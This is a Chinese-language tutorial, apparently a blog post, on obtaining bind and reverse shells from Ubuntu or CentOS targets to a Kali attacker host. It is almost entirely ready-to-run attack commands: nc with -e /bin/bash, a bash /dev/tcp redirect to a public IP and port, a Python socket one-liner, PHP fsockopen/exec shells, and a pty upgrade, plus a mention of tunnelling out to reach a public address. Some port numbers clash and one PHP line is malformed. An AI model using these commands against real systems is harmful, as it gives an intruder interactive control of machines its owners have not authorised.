假如ubuntu、CentOS为目标服务器系统

kali为攻击者的系统,ip为:192.168.0.4,开放4444端口且没被占用

最终是将ubuntu、CentOS的shell反弹到kali上

正向反弹shell

ubuntu或者CentOS上面输入

nc -lvp 7777 -e /bin/bash

kali上输入

nc ip 7777

正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。

需要目标机安装nc。

反向反弹shell

方法1:bash反弹

bash -i >& /dev/tcp/122.228.26.226/27317 0>&1

但首先需要在kali上使用nc监听端口:

nc -lvp 7777

此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。

方法2:python反弹

反弹shell的命令如下:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上监听端口:

1
nc -lvp 7777

在CentOS或者ubuntu下使用python去反向连接,输入:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

此方法ubuntu和Linux均反弹成功。

方法3

首先在kali上输入nc监听:

1
nc -lvp 4444

在CentOS或者ubuntu 上使用nc去反向连接,命令如下:

1
nc -e /bin/bash 122.228.26.226 27317

image-20241211170701249在kali机打开4444监听端口image-20241211170703770内网穿透出去,拿到公网ip端口image-20241211170706956攻击机输入反向连接image-20241211170709825然后看我们的kali机,可以看到我们已经连接成功

方法4:php反弹shell

首先在kali上输入:

1
nc -lvp 7777

然后在目标机上输入:

1
2
3
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

遇到反弹后不是正常的shell,可用命令:

1
python -c 'import pty;pty.spawn("/bin/bash")'

转化为常规的shell。